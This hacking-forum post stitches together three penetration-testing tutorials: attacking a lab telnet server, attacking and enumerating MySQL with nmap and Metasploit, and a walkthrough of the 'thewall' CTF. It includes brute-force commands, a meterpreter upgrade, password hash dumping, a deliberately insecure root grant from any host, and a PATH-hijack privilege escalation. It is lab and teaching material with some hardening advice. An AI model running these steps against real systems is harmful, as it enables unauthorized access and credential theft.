Login

**NINZA** · 05-10-2020, 05:30 AM

0			0

Welcome to Internal penetration testing on telnet server where you will learn about telnet installation, configuration, enumeration and attack, system security and precaution.
From Wikipedia
Telnet is a protocol used on the Internet or local area networks to provide a bidirectional interactive text-oriented communication facility using a virtual terminal connection. This protocol is used to establish a connection to Transmission Control Protocol (TCP) port number 23, where a Telnet server application (telnetd) is listening.
Let’s start!!!
Requirements
Telnet Server: Ubuntu
Attacker system: Kali Linux
Telnet Installation & Configuration in 3 steps
Installing telnet server is very simple, it will get activated by following three steps:
Open the terminal in Ubuntu and type given below command with root access.
apt-get install xinetd telnetd
1
apt-get install xinetd telnetd
[Image: 1.png?w=687&ssl=1]

Open ineted.conf file adds given below statement inside it, then save it.
gedit /etc/inetd.conf
1
gedit /etc/inetd.conf

telnet stream tcp nowait telnetd /usr/sbin/tcpd /usr/sbin/in.telnetd
1
telnet stream tcp nowait telnetd /usr/sbin/tcpd /usr/sbin/in.telnetd
[Image: 2.png?w=687&ssl=1]

Now open xibetd.conf and add the following line to configure the settings and save it.
gedit /etc/xinetd.conf
# Simple configuration file for xinetd
#
# Some defaults, and include /etc/xinetd.d/
defaults
{
# Please note that you need a log_type line to be able to use log_on_success
# and log_on_failure. The default is the following :
# log_type = SYSLOG daemon info
instances = 60
log_type = SYSLOG authpriv
log_on_success = HOST PID
log_on_failure = HOST
cps = 25 30
}
includedir /etc/xinetd.d
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# Simple configuration file for xinetd
#
# Some defaults, and include /etc/xinetd.d/
defaults
{
# Please note that you need a log_type line to be able to use log_on_success
# and log_on_failure. The default is the following :
# log_type = SYSLOG daemon info
instances = 60
log_type = SYSLOG authpriv
log_on_success = HOST PID
log_on_failure = HOST
cps = 25 30
}
includedir /etc/xinetd.d
[Image: 3.png?w=687&ssl=1]

Now execute the following command to restart the service.
sudo /etc/init.d/xinetd restart
1
sudo /etc/init.d/xinetd restart
[Image: 4.png?w=687&ssl=1]

Now you can ensure whether telnet service is getting activated or not and for this we have scanned our own system with nmap.
nmap –p 23 127.0.0.1
1
nmap –p 23 127.0.0.1
If service is activated in the targeted server then nmap show open STATE for port 23.
[Image: 5.png?w=687&ssl=1]

SSH Banner grabbing through telnet
Telnet plays an important role in the banner grabbing of other service running on the target system. Open the terminal in Kali Linux and type following command for finding the version of SSH service running on the target machine.
telnet 192.168.0.106 22
1
telnet 192.168.0.106 22
From the given image, you can observe that it has successfully shown the SSH version “2.0-openSSH_6.6.1p1” has been installed on the target machine.
[Image: 6.png?w=687&ssl=1]

SMTP Banner grabbing through telnet
Similarly, we can also find out version and valid user of SMTP server using telnet. Execute the following command and find out its version and valid user.
telnet 192.168.0.106 25
1
telnet 192.168.0.106 25
From the given image you can observe that it has successfully shown “220 mail.ignite.lab ESMTP Postfix” has been installed on the target machine.
You can guess for valid user account through the following command and if you receive response code 550 it means unknown user account:
vrfy [EMAIL=The contents of this section are hidden for your group]The contents of this section are hidden for your group[/EMAIL]
Register or Login
If you received a message code 250,251,252 which means the server has accepted the request and user account is valid.
But if you received a message code 550 it means invalid user account as shown in given image
vrfy [email protected]
1
vrfy [email protected]
[Image: 7.1.png?w=687&ssl=1]

Telnet Banner Grabbing through Metasploit
An attacker always performs enumeration for finding important information such as software version which is known as Banner Grabbing and then identifies its state of vulnerability against any exploit.
Open the terminal in your Kali Linux and Load Metasploit framework; now type the following command to scan for TELNET version.
use auxiliary/scanner/telnet/telnet_version
msf auxiliary(telnet_version) > set rhosts 192.168.0.106
msf auxiliary(telnet_version) > set rport 23
msf auxiliary(telnet_version) >set threads 5
msf auxiliary(telnet_version) > exploit
1
2
3
4
5
use auxiliary/scanner/telnet/telnet_version
msf auxiliary(telnet_version) > set rhosts 192.168.0.106
msf auxiliary(telnet_version) > set rport 23
msf auxiliary(telnet_version) >set threads 5
msf auxiliary(telnet_version) > exploit
From the given image you can read the installed version of TELNET on the target’s system.
[Image: 7.png?w=687&ssl=1]

Brute Force Attack
An attacker always tries to make a brute force attack for stealing credential for unauthorized access.
This module will test a telnet login on a range of machines and report successful logins. If you have loaded a database plugin and connected to a database this module will record successful logins and hosts so you can track your access.
Now type the following command to Brute force TELNET login:
use auxiliary/scanner/telnet/telnet_login
msf auxiliary(telnet_login) > set rhosts 192.168.0.106
msf auxiliary(telnet_login) > set user_file /root/Desktop/user.txt
msf auxiliary(telnet_login) > set pass_file /root/Desktop/pass.txt
msf auxiliary(telnet_login) > set stop_on_success true
msf auxiliary(telnet_login) > exploit
1
2
3
4
5
6
use auxiliary/scanner/telnet/telnet_login
msf auxiliary(telnet_login) > set rhosts 192.168.0.106
msf auxiliary(telnet_login) > set user_file /root/Desktop/user.txt
msf auxiliary(telnet_login) > set pass_file /root/Desktop/pass.txt
msf auxiliary(telnet_login) > set stop_on_success true
msf auxiliary(telnet_login) > exploit
From given image you can observe that our TELNET server is not secure against brute force attack because it is showing a matching combination of username: raj and password: 123 for login simultaneously it has opened victims command shell as session 1.
[Image: 8.png?w=687&ssl=1]

From the given image you can see now we have unauthorized access on the victim’s system as raj@ignite and executed ifconfig to verify the network interface.
[Image: 9.png?w=687&ssl=1]

We can also convert command shell into the meterpreter shell using the following command
sessions -u 1
1
sessions -u 1
From the given image you can see that now we are having two sessions; 1st for command shell session and 2nd for the meterpreter session.
[Image: 10.png?w=687&ssl=1]

Stealing credential through sniffing
Telnet, by default, does not encrypt any data sent over the connection (including passwords), and so it is often feasible to eavesdrop on the communications and use the password later for malicious purposes; anybody who has access the network between the two hosts where Telnet is being used can intercept the packets passing between source and destination and obtain login, password and data information.
From the given image, you can observe that here the client is login into telnet server by submitting valid credential on the other hand attacker is sniffing network packet using Wireshark or other tools.
[Image: 11.1.png?w=687&ssl=1]

Here you can notice Wireshark had captured telnet information by sniffing the network. It follows a similar protocol as FTP where telnet users may authenticate themselves with a clear-text sign-in protocol for username and password. As result attacker can easily sniff login credential.
[Image: 11.png?w=687&ssl=1]

From given below image you can read the username: raj and password: 123 moreover complete information traveling through packet between source to destination.
Since Telnet implementations do not support Transport Layer Security (TLS) security and Simple Authentication and Security Layer (SASL) authentication extensions. Therefore in favor of that the Secure Shell (SSH) protocol, first released in 1995 in replace of Telnet.
[Image: 12.png?w=687&ssl=1]

Secure Telnet through Port forwarding
In order to secure telnet server, admin can forward port from default to specific port to run the service. Open services file using the following command for making changes:
gedit /etc/services
1
gedit /etc/services
From the given image you can perceive that telnet default uses port 23 for its services; change the port number for telnet service.
[Image: 13.png?w=687&ssl=1]

From given below image you can compare that we had changed port 23 with 2323, now restart the service.
service xinetd restart
1
service xinetd restart
[Image: 14.png?w=687&ssl=1]

Verify it using nmap command as given below:
nmap -p 2323 –sV 192.168.0.106
1
nmap -p 2323 –sV 192.168.0.106
[Image: 15.png?w=687&ssl=1]

Secure telnet against brute force attack
You can secure telnet server against brute force and from unauthorized access by adding a filter using Iptable. Allow only specific IP address to establish a connection with the telnet server and reject or drop the connection from other IP addresses.
Now type the following command with root permission to add the filter for telnet in iptables.
iptables –A INPUT –s 192.168.0.104 –p tcp --dport 23 –j ACCEPT
1
iptables –A INPUT –s 192.168.0.104 –p tcp --dport 23 –j ACCEPT
Above command will allow the traffic from IP address 192.168.0.104 to access the telnet service on port 23.
iptables –A INPUT –p tcp --dport 23 –j DROP
1
iptables –A INPUT –p tcp --dport 23 –j DROP
Above command with drop the service for traffic coming from other IP addresses on port 23.
Restart the service once you add a filter in iptables
sudo /etc/init.d/xinetd restart
1
sudo /etc/init.d/xinetd restart
[Image: 16.png?w=687&ssl=1]

Let verify the working of Ipatble by connecting to telnet server from client machine holding IP address 192.168.0.104.
Great!! Connection established successfully.
You can confirm it from given below image.
[Image: 17.png?w=687&ssl=1]

Let’s verify the working of Ipatble by connecting to the telnet server from attacker machine holding different IP address.
From given below image you can see nothing is happening here because port 23 is down for all other IP addresses
Awesome!! It means if the attacker sniffs the valid credential even then won’t be able to access the telnet server.
[Image: 18.png?w=687&ssl=1]

In this article, we are discussing MYSQL penetration testing using Nmap where you will learn how to retrieve database information such as database name, table’s records, username, password and etc.
MySQL is an open Source for Relational Database Management System that uses structured query language for generating database record.
Let’s Begin !!!
Scanning for port 3306
open the terminal and type following command to check MySQL service is activated on the targeted system or not, basically MySQL service is activated on default port 3306.
nmap -sT 192.168.1.216
1
nmap -sT 192.168.1.216
From the given image you can observe port 3306 is open for MySQL service, now let’s enumerate it.
[Image: 1.png?w=687&ssl=1]

Retrieve MySQL information
Now type another command to retrieve MySQL information such as version, protocol and etc:
nmap --script=mysql-info 192.168.1.216
1
nmap --script=mysql-info 192.168.1.216
Above command try to connect to with MySQL server and hence prints information such as the protocol: 10, version numbers: 5.5.57 -0 ubuntu0.14.04.1, thread ID: 159, status: auto-commit, capabilities, and the password salt as shown in given below image.
[Image: 2.png?w=687&ssl=1]

Brute force attack
This command will use the dictionary for username and password and then try to match the username and password combination by making brute force attack against mysql.
nmap -p3306 --script=mysql-brute --script-args userdb=/root/Desktop/user.txt,passdb=/root/Desktop/pass.txt 192.168.1.216
1
nmap -p3306 --script=mysql-brute --script-args userdb=/root/Desktop/user.txt,passdb=/root/Desktop/pass.txt 192.168.1.216
From the given image you can observe that it found the valid credential root: toor. This credential will help indirectly login into MYSQL server.
[Image: 3.png?w=687&ssl=1]

Retrieve MySQL usernames
This command will fetch MySQL users name which helps of given argument MySQL user root and mysqlpass toor.
nmap -p3306 192.168.1.216 --script=mysql-users --script-args mysqluser=root,mysqlpass=toor
1
nmap -p3306 192.168.1.216 --script=mysql-users --script-args mysqluser=root,mysqlpass=toor
From given below image you can see we had found four usernames: root, Debian-sys-maint, sr, st.
[Image: 4.1.png?w=687&ssl=1]

Retrieve database names
This command will fetch MySQL database name which helps of given argument mysqluser root and mysqlpass toor.
nmap -p3306 192.168.1.216 --script=mysql-databases --script-args mysqluser=root,mysqlpass=toor
1
nmap -p3306 192.168.1.216 --script=mysql-databases --script-args mysqluser=root,mysqlpass=toor
From given below image you can read the name of created database such as ignite
[Image: 4.2.png?w=687&ssl=1]

This command will also perform the same task as above but retrieve database name using MySQL query “show database”
nmap -p 3306 192.168.1.216 --script=mysql-query --script-args "query=show databases,username=root,password=toor"
1
nmap -p 3306 192.168.1.216 --script=mysql-query --script-args "query=show databases,username=root,password=toor"
From given below image you can read the name of created database such as ignite
[Image: 4.png?w=687&ssl=1]

Retrieve MySQL variable status ON/OFF
When we want to pass a value from one SQL statement to another SQL statement, then we store the value in a MySQL user-defined variable.
This command will fetch MySQL variables name which help of given argument mysqluser root and mysqlpass toor.
nmap -p3306 192.168.1.216 --script=mysql-variables --script-args mysqluser=root,mysqlpass=toor
1
nmap -p3306 192.168.1.216 --script=mysql-variables --script-args mysqluser=root,mysqlpass=toor
From the given image you can observe ON/OFF status for MySQL variable.
[Image: 6.png?w=687&ssl=1]

Retrieve Hash Dump
This command will Dumps the password hashes from a MySQL server in a format suitable for cracking by tools such as John the Ripper.
nmap -p3306 192.168.1.216 --script=mysql-dump-hashes --script-args username=root,password=toor
1
nmap -p3306 192.168.1.216 --script=mysql-dump-hashes --script-args username=root,password=toor
From the given image you can observe that it has dumped the hash value of passwords of the respective user which we have enumerated above.
[Image: 8.png?w=687&ssl=1]

In this article, we will learn to make MySQL port vulnerable and then secure it for the penetration testing on the port 3306. In order to completely learn and understand how to secure service on a port, you have to understand how to make it vulnerable and then perform penetration testing. Because if you don’t understand what can be exploited and how then you will always fail to secure it.
Table of Content

Introduction to MySQL-Server
Installation of MySQL-Server
Pen testing MySQL-Server

Introduction to MySQL-Server
The base of MySQL will be MySQL server, which handles the majority of the database guidelines (or directions). MySQL server is accessible as a different program for use in a customer server organized condition and as a library that can be implanted (or connected) into separate applications. MySQL works alongside a few utility projects which bolster the organization of MySQL databases. Directions are sent to MySQL-Server by means of the MySQL customer, which is introduced on a PC. It runs port 3306 by default.
Installation of MySQL-server
The first thing to do is to install MySQL server and to do so use the following command :
apt install mysql-server
1
apt install mysql-server
[Image: 1.png?w=687]

Further, use the following command to check whether the server is up and running or not.
netstat -tnl
1
netstat -tnl
[Image: 2.png?w=687]

Pentesting MySQL-Server
Scanning Mysql & Connecting to Mysql
Now, as you can see the MySQL server is properly working. But if you will scan the port, it will show you that it’s closed.
nmap -p3306 192.168.1.108
1
nmap -p3306 192.168.1.108
[Image: 3.png?w=687]

This port is closed because as it is running on the local address when scanned with any other IP then it will show you that the port is closed when this is not the case. This happens because of the default setting in the configuration’s files of MySQL, the bind address is 127.0.0.1 i.e. the port will be shown open only if you scan from this IP just like shown in the image below. And to make this change open the configuration file using the following command:
nano /etc/mysql/mysql.conf.d/mysqld.cnf
1
nano /etc/mysql/mysql.conf.d/mysqld.cnf
[Image: 4.png?w=687]

To change this setting, just add ‘#’ in front of the ‘bind-address’ as shown in the image below :
[Image: 5.png?w=687]

Now if you scan it, it will show you that the port is open.
nmap -p3306 192.168.1.108
1
nmap -p3306 192.168.1.108
But further if you try to login through this port, it will give you an error. This happens because the MySQL server does not grant privileges to other IP’s to do their bidding.
[Image: 6.png?w=687]

This error can be removed when you login into the MySQL server and run the following commands which will grant all permission to the root user at when login from different IP :
GRANT ALL PRIVILEGES ON *.* TO root@'%' IDENTIFIED BY '123';
FLUSH PRIVILEGES;
1
2
GRANT ALL PRIVILEGES ON *.* TO root@'%' IDENTIFIED BY '123';
FLUSH PRIVILEGES;
[Image: 7.png?w=687]

Now, when you try and login, you will be successful as shown in the image below:
[Image: 8.png?w=687]

Let’s scan the port again to grab as many details as we can such as its banner. Mac address, etc.
nmap -sv -p3306 192.168.1.108
1
nmap -sv -p3306 192.168.1.108
[Image: 9.png?w=687]

Mysql Brute-Force Attack
One can also brute force the port by using Metasploit. This module simply queries the MySQL instance for a specific user/pass for this, go to the terminal in kali and type ‘msfconsole’ and then use the following commands to commence the brute force login:
use auxiliary/scanner/mysql/mysql_login
set rhosts 192.168.1.108
set user_file /root/Desktop/user.txt
set pass_file /root/Desktop/pass.txt
exploit
1
2
3
4
5
use auxiliary/scanner/mysql/mysql_login
set rhosts 192.168.1.108
set user_file /root/Desktop/user.txt
set pass_file /root/Desktop/pass.txt
exploit
[Image: 10.png?w=687]

Running SQL queries without Login into Mysql
This module allows for simple SQL statements to be executed against a MySQL instance given the appropriate credentials. For this, type :
use auxiliary/admin/mysql/mysql_sql
set rhosts 192.162.1.108
set username root
set password 123
set sql show databases
exploit
1
2
3
4
5
6
use auxiliary/admin/mysql/mysql_sql
set rhosts 192.162.1.108
set username root
set password 123
set sql show databases
exploit
[Image: 11.png?w=687]

Extract Mysql-Schemadump Information
Our next module extracts the schema information from a MySQL DB server. For this exploit, type :
use auxiliary/scanner/mysql/mysql_schemadump
set rhosts 192.168.1.108
set username root
set password 123
exploit
1
2
3
4
5
use auxiliary/scanner/mysql/mysql_schemadump
set rhosts 192.168.1.108
set username root
set password 123
exploit
[Image: 12.png?w=687]

Extracting Login from Mysql-server
And to extracts the usernames and encrypted password hashes from a MySQL server and stores them for later cracking; use the following exploit :
use auxiliary/scanner/mysql/mysql_hashdump
set rhosts 192.168.1.108
set username root
set password 123
exploit
1
2
3
4
5
use auxiliary/scanner/mysql/mysql_hashdump
set rhosts 192.168.1.108
set username root
set password 123
exploit
[Image: 13.png?w=687]

Once the above module is completed, you see it result in the file it creates as shown in the image below:
[Image: 14.png?w=687]

Checking Writable Directories
Another attack that can be executed on Mysql port is to check the directories that are writable. But by default, this attack cannot be performed. So, admin, the has done following the configuration then an attacker can check for directories that are writable.
nano /etc/mysql/mysql.conf.d/mysqld.cnf
1
nano /etc/mysql/mysql.conf.d/mysqld.cnf
Then add ‘secure_file_priv=”” at the end of the file.
[Image: 15.png?w=687]

Now if you run the following exploit through Metasploit, it will allow you to Enumerate writeable directories using the MySQL SELECT INTO DUMPFILE feature.
use auxiliary/scanner/mysql/mysql_writable_dirs
set rhosts 192.168.1.108
set username root
set password 123
set dir_list /root/dir.txt
exploit
1
2
3
4
5
6
use auxiliary/scanner/mysql/mysql_writable_dirs
set rhosts 192.168.1.108
set username root
set password 123
set dir_list /root/dir.txt
exploit
[Image: 16.png?w=687]

Enumerating File
For further pentesting MySQL port, you can use the following exploit for Enumerate files and directories using the MySQL load_file feature.
use auxiliary/scanner/mysql/mysql_file_enum
set rhosts 192.168.1.108
set username root
set password 123
set file_list /root/dir.txt
exploit
1
2
3
4
5
6
use auxiliary/scanner/mysql/mysql_file_enum
set rhosts 192.168.1.108
set username root
set password 123
set file_list /root/dir.txt
exploit
[Image: 17.png?w=687]

Port Transferring
Next comes port forwarding. This method is used in order to secure the port from the attacks. For port forwarding, just open the configuration by using the following command:
nano etc/mysql/mysql.conf.d/mysqld.cnf
1
nano etc/mysql/mysql.conf.d/mysqld.cnf
And then change the port number to whichever you desire. For instance, we have given here in 4033.
[Image: 18.png?w=687]

After changing the port, when you scan it, it will show you the SQL service is running on the new port instead of the default one.
[Image: 19.png?w=687]

So, this way to learn how to exploit and secure MySQL-Server.

Hello friends! Today we are going to take another CTF challenge known as thewall. The credit for making this vm machine goes to “Xerubus” and it is another boot2root challenge where we have to root the VM to complete the challenge. You can download this VM

[To see content please register here]

.
Let’s Breach!!!
Let us start form getting to know the IP of VM (Here, I have it at 192.168.0.17 but you will have to find your own)
netdiscover
[Image: 1.png?w=687&ssl=1]

We did a nmap scan but it showed nothing. So we use arp to check if it is broadcasting anything.
arp –an
[Image: 2.png?w=687&ssl=1]

We found that it is broadcasting something on the network, so we use wireshark to check at which port it is broadcasting the data.
[Image: 3.png?w=687&ssl=1]

We found that it is broadcasting something at port 1337 so we use netcat to listen at port 1337.
nc –lvp 1337
[Image: 4.png?w=687&ssl=1]

We found it was broadcasting something related to pink Floyd, we again do a nmap scan to check if it affected anything.
nmap -sV 192.168.0.17
[Image: 5.png?w=687&ssl=1]

As we can see that port 80 is open, so we open this ip in our browser.
[Image: 6.png?w=687&ssl=1]

We take a look at the source code of the browser and find a hexadecimal encoded string.
[Image: 7.png?w=687&ssl=1]

When we decode it we find a md5 encoded string and hint to do stegnography.
[Image: 8.png?w=687&ssl=1]

We decode the md5 encoded string and found a string called divisionbell.
[Image: 9.png?w=687&ssl=1]

We download the image from the webpage and using steghide we check if something is hidden behind the image. When try to extract information it prompts for password using the string we decoded above we are able to find that a text file is hidden behind the image and are able to extract it.
steghide –info pink_floyd.jpg
steghide extract –sf pink_floyd.jpg
[Image: 10.png?w=687&ssl=1]

When we open the text file we find a base64 encoded string and md5 encoded string and a hint to use it at port 1965.
[Image: 11.png?w=687&ssl=1]

First we decode the base64 encoded string and found the string SydBarret.
[Image: 12.png?w=687&ssl=1]

Then we decode the md5 encoded string and found the string pinkfloydrocks.
[Image: 13.png?w=687&ssl=1]

Port enumeration on 1965 shows it is running openssh, we check if we can login using this as username:SydBarret and password:pinkfloydrocks.
[Image: 14.png?w=687&ssl=1]

When we try to login it shows us that we can only connect through sftp. So we use SydBarrett as username and pinkfloydrocks as password to login through sftp.
[Image: 15.png?w=687&ssl=1]

Now that we are inside, we find a file called eclipsed_by_the_moon, we download it to our system.
[Image: 16.png?w=687&ssl=1]

We check what kind of file it is, we find that it is a zip file, we extract it using tar.
file eclipsed_by_the_moon
tar xvfz eclipsed_by_the_moon
[Image: 17.png?w=687&ssl=1]

After extracting the file, we check what kind of file it is and find that it is a boot sector.
file eclipsed_by_the_moon.lsd
[Image: 18.png?w=687&ssl=1]

We check if we can recover any file inside the boot sector using testdisk.
testdisk eclipsed_by_the_moon.lsd
We select the image to recover files from.
[Image: 19.png?w=687&ssl=1]

We select none portioned media as it is a boot sector.
[Image: 20.png?w=687&ssl=1]

We go to advanced to recover file from the image.
[Image: 21.png?w=687&ssl=1]

We then select the partition in which we want to extract the file from and select undelete to recover the files.
[Image: 22.png?w=687&ssl=1]

We find that an image file is recovered, we copy it.
[Image: 25.png?w=687&ssl=1]

We select the directory of our system in which we want to copy the file.
[Image: 26.png?w=687&ssl=1]

We check the image we just recovered and find the picture of Roger Waters, we also got a password inside the image.
[Image: 28.png?w=687&ssl=1]

We login trough ssh, enumerating the username we find that RogerWaters is the username and password is hello_is_there_anybody_in_there.
After getting in, we find that there are different directory for different users of pink floyd band members.
ls -al
[Image: 36.1.png?w=687&ssl=1]

We also find that we have limited access and cannot access their directories so we check for binaries available to other users and find that user NickMason and DavidGilmour have binaries called brick and shineon available to them.
find / -user DavidGilmour 2>/dev/null
find / -user NickMason 2>/dev/null
[Image: 36.png?w=687&ssl=1]

We don’t have access to run the binary shineon but when we run brick it asks us a question. When we answer it correctly we become the user NickMason.
[Image: 37.png?w=687&ssl=1]

Now we can access the directory NickMason/. We find an image file inside we use scp to send it to our local system.
scp nick_mason_profile_pic.jpg [email protected]:/root/Desktop
[Image: 38.png?w=687&ssl=1]

We check the file type and find that it is an audio file. We change the file from .jpg to .ogg.
[Image: 39.png?w=687&ssl=1]

When we listen to the audio, we find that morse code is also playing in the background along with the music. We cut the frequency of the audio to retrieve the morse code.
[Image: morse.png?w=687&ssl=1]

.-. .. -.-. …. .- .-. -.. .– .-. .. –. …. – .—- —-. ….- …– ..-. .. … .-
We find that the morse code translates to richardwright1943farfisa. We use RichardWright as username and 1943farfisa as password to login as user RichardWright.
[Image: 43.png?w=687&ssl=1]

Now we try to run the binary shineon, after running the binary we find that we can change the folder with symbolic link from DavidGilmour to RichardWright.
ln –s /bin/ksh /tmp/mail
export PATH:/tmp:$PATH
When we now run the shineon we become user DavidGilmour.
[Image: 44.png?w=687&ssl=1]

Inside DavidGilmour/ folder we find a link inside the file.
[Image: 45.png?w=687&ssl=1]

When we open this link on the browser we find an image on which something is written.
[Image: 46.png?w=687&ssl=1]

When we decrease the contrast of the image, we find a hexadecimal string.
[Image: 47.png?w=687&ssl=1]

Then we also send an image file that we find inside the DavidGilmour/ folder using scp.
scp david_gilmour_profile_pic.jpg [email protected]:/root/Desktop/
[Image: 48.png?w=687&ssl=1]

We check for strings inside the image file and found string who_are_you_and_who_am_i.
[Image: 49.png?w=687&ssl=1]

Now we use DavidGilmour as username and who_are_you_and_who_am_i as password.
[Image: 50.png?w=687&ssl=1]

We now are in welcometothemachine group; we move inside /var/www/htdocs/welcometothemachine/.
[Image: 51.png?w=687&ssl=1]

We find a file called PinkFloyd, we run the file and find it asks a question. We use the hexadecimal string inside the image we find on the webpage.
[Image: 52.png?w=687&ssl=1]

Now we are given the permission to get root, as DavidGilmour is added into sudoers after running this program.
[Image: 53.png?w=687&ssl=1]

Now when we enter root/ directory and we find the flag stating the end of the VM challenge.
[Image: 54.png?w=687&ssl=1]

Login
Username: Password: Lost Password? Remember me
Or Register an account

Announcement : For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis

Announcement :

For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis